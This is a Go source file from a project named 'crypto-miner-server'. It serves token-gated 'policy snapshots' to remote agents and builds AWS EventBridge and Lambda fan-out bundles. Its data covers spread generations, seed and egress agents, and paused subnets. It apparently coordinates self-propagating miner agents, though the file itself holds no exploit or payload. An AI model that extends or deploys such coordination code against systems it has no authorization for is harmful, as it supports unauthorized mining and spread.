package api import ( "encoding/json" "fmt" "net/http" "path/filepath" "strings" "time" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/spreadrouter" "github.com/go-chi/chi/v5" ) // PolicySnapshot is the degraded-mode policy bundle agents poll or receive via EventBridge relay. type PolicySnapshot struct { GenesisVersion int `json:"genesis_version"` HospiceList []string `json:"hospice_list"` VaccinationLanes []PolicyVaccinationLane `json:"vaccination_lanes"` EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"` PolicyPollURL string `json:"policy_poll_url,omitempty"` GeneratedAt string `json:"generated_at,omitempty"` } // PolicyVaccinationLane maps a paused subnet to a Path Tracer vaccination route hint. type PolicyVaccinationLane struct { Subnet string `json:"subnet"` Lane json.RawMessage `json:"lane,omitempty"` } // PolicyFanoutConfig supplies token, relay URL, and public base for snapshot URLs. type PolicyFanoutConfig struct { Token string RelayURL string PublicBaseURL func() string } func policySnapshotPollURL(cfg PolicyFanoutConfig) string { token := strings.TrimSpace(cfg.Token) if token == "" { return "" } base := strings.TrimRight(strings.TrimSpace(cfgPublicBase(cfg)), "/") if base == "" { base = "http://127.0.0.1:8989" } return base + "/api/v1/public/policy-snapshot/" + token } func cfgPublicBase(cfg PolicyFanoutConfig) string { if cfg.PublicBaseURL == nil { return "" } return cfg.PublicBaseURL() } // BuildPolicySnapshot assembles genesis version, hospice strains, and vaccination lanes. func BuildPolicySnapshot(db *dbpkg.Database, pathTracer *PathTracerHandler, cfg PolicyFanoutConfig) (PolicySnapshot, error) { snap := PolicySnapshot{ EventBridgeRelayURL: strings.TrimSpace(cfg.RelayURL), PolicyPollURL: policySnapshotPollURL(cfg), GeneratedAt: time.Now().UTC().Format(time.RFC3339), } if db == nil { return snap, nil } gen, err := db.MaxSpreadGeneration() if err != nil { return snap, err } snap.GenesisVersion = gen hospiceSet, err := db.HospiceStrainSet() if err != nil { return snap, err } for id := range hospiceSet { if id = strings.TrimSpace(strings.ToLower(id)); id != "" { snap.HospiceList = append(snap.HospiceList, id) } } prefixes, err := db.ListPausedSubnetPrefixes() if err != nil { return snap, err } for _, prefix := range prefixes { entry := PolicyVaccinationLane{Subnet: prefix} if pathTracer != nil { if hint := pathTracer.RecommendSpreadRoute(prefix, "", ""); hint != nil { if raw, err := json.Marshal(toSpreadRouteHintDTO(hint)); err == nil { entry.Lane = raw } } } snap.VaccinationLanes = append(snap.VaccinationLanes, entry) } return snap, nil } type spreadRouteHintDTO struct { SeedAgentID string `json:"seed_agent_id,omitempty"` EgressAgentID string `json:"egress_agent_id,omitempty"` JoinLane string `json:"join_lane,omitempty"` Score float64 `json:"score,omitempty"` ClearanceLevel int `json:"clearance_level,omitempty"` } func toSpreadRouteHintDTO(h *spreadrouter.SpreadRouteHint) spreadRouteHintDTO { if h == nil { return spreadRouteHintDTO{} } return spreadRouteHintDTO{ SeedAgentID: h.SeedAgentID, EgressAgentID: h.EgressAgentID, JoinLane: h.JoinLane, Score: h.Score, ClearanceLevel: h.ClearanceLevel, } } func (h *WSHub) SetPolicyFanoutConfig(token, relayURL string, publicBase func() string) { if h == nil { return } h.mu.Lock() h.policySnapshotToken = strings.TrimSpace(token) h.policyEventBridgeRelayURL = strings.TrimSpace(relayURL) h.policyPublicBaseURL = publicBase h.mu.Unlock() } func (h *WSHub) policyFanoutConfigLocked() PolicyFanoutConfig { return PolicyFanoutConfig{ Token: h.policySnapshotToken, RelayURL: h.policyEventBridgeRelayURL, PublicBaseURL: h.policyPublicBaseURL, } } func (h *WSHub) policyFanoutSpreadFields() map[string]interface{} { if h == nil { return nil } h.mu.RLock() cfg := h.policyFanoutConfigLocked() pollURL := policySnapshotPollURL(cfg) relay := strings.TrimSpace(cfg.RelayURL) h.mu.RUnlock() if pollURL == "" && relay == "" { return nil } out := map[string]interface{}{} if pollURL != "" { out["policy_snapshot_poll_url"] = pollURL } if relay != "" { out["eventbridge_relay_url"] = relay } if h.db != nil { if gen, err := h.db.MaxSpreadGeneration(); err == nil { out["genesis_version"] = gen } } return out } func (h *PublicHandler) BindPolicySnapshot(buildFn func() (PolicySnapshot, error), tokenFn func() string) { if h == nil { return } h.policySnapshotFn = buildFn h.policySnapshotTokenFn = tokenFn } // GET /api/v1/public/policy-snapshot/{token} func (h *PublicHandler) PolicySnapshot(w http.ResponseWriter, r *http.Request) { if h == nil || h.policySnapshotFn == nil || h.policySnapshotTokenFn == nil { http.Error(w, "policy snapshot unavailable", http.StatusServiceUnavailable) return } want := strings.TrimSpace(h.policySnapshotTokenFn()) got := strings.TrimSpace(chi.URLParam(r, "token")) if want == "" || got != want { http.Error(w, "not found", http.StatusNotFound) return } snap, err := h.policySnapshotFn() if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, snap) } func (h *SpreadHandler) BindPolicyFanout(pathTracer *PathTracerHandler, cfgFn func() PolicyFanoutConfig) { if h == nil { return } h.policyPathTracer = pathTracer h.policyFanoutCfgFn = cfgFn } type policyFanoutExportRequest struct { WebhookURL string `json:"webhook_url"` RelayURL string `json:"relay_url"` ServerURL string `json:"server_url"` } // GET /api/v1/spread/policy-fanout func (h *SpreadHandler) GetPolicyFanout(w http.ResponseWriter, r *http.Request) { if h == nil || h.policyFanoutCfgFn == nil { http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable) return } cfg := h.policyFanoutCfgFn() snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{ "snapshot": snap, "poll_url": snap.PolicyPollURL, "templates": policyFanoutTemplatePaths(), "static_templates": "/spread/aws/", "export_endpoint": "/api/v1/spread/policy-fanout-export", "instructions": "Deploy CloudFormation or EventBridge rule + Lambda; Lambda POSTs snapshots to your relay URL or agents poll poll_url directly.", }) } // POST /api/v1/spread/policy-fanout-export func (h *SpreadHandler) ExportPolicyFanout(w http.ResponseWriter, r *http.Request) { if h == nil || h.policyFanoutCfgFn == nil { http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable) return } var req policyFanoutExportRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid json", http.StatusBadRequest) return } cfg := h.policyFanoutCfgFn() snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") if serverURL == "" { serverURL = strings.TrimRight(cfgPublicBase(cfg), "/") } if serverURL == "" { serverURL = "http://127.0.0.1:8989" } webhookURL := strings.TrimSpace(req.WebhookURL) if webhookURL == "" { webhookURL = strings.TrimSpace(req.RelayURL) } if webhookURL == "" { webhookURL = strings.TrimSpace(cfg.RelayURL) } pollURL := snap.PolicyPollURL if pollURL == "" { pollURL = policySnapshotPollURL(cfg) } snapJSON, _ := json.MarshalIndent(snap, "", " ") repl := map[string]string{ "{{SERVER_URL}}": serverURL, "{{POLICY_POLL_URL}}": pollURL, "{{WEBHOOK_URL}}": webhookURL, "{{SNAPSHOT_JSON}}": string(snapJSON), } templateDir := filepath.Join(h.projectRoot, "templates", "spread", "aws", "policy-fanout") data, err := zipTemplateReplacements(templateDir, repl, nil) if err != nil { http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError) return } writeZipAttachment(w, "aetherforge-policy-fanout.zip", data) } func policyFanoutTemplatePaths() []string { return []string{ "templates/spread/aws/policy-fanout/cloudformation.json", "templates/spread/aws/policy-fanout/eventbridge-rule.json", "templates/spread/aws/policy-fanout/lambda/index.js", "templates/spread/aws/policy-fanout/README.txt", } } func buildFanoutBundleJSON(cfg PolicyFanoutConfig, snap PolicySnapshot) ([]byte, error) { doc := map[string]interface{}{ "poll_url": snap.PolicyPollURL, "eventbridge_relay_url": snap.EventBridgeRelayURL, "snapshot": snap, "token": strings.TrimSpace(cfg.Token), } return json.MarshalIndent(doc, "", " ") } func fanoutBundleJSONOrError(cfg PolicyFanoutConfig, snap PolicySnapshot) string { raw, err := buildFanoutBundleJSON(cfg, snap) if err != nil { return fmt.Sprintf(`{"error":%q}`, err.Error()) } return string(raw) }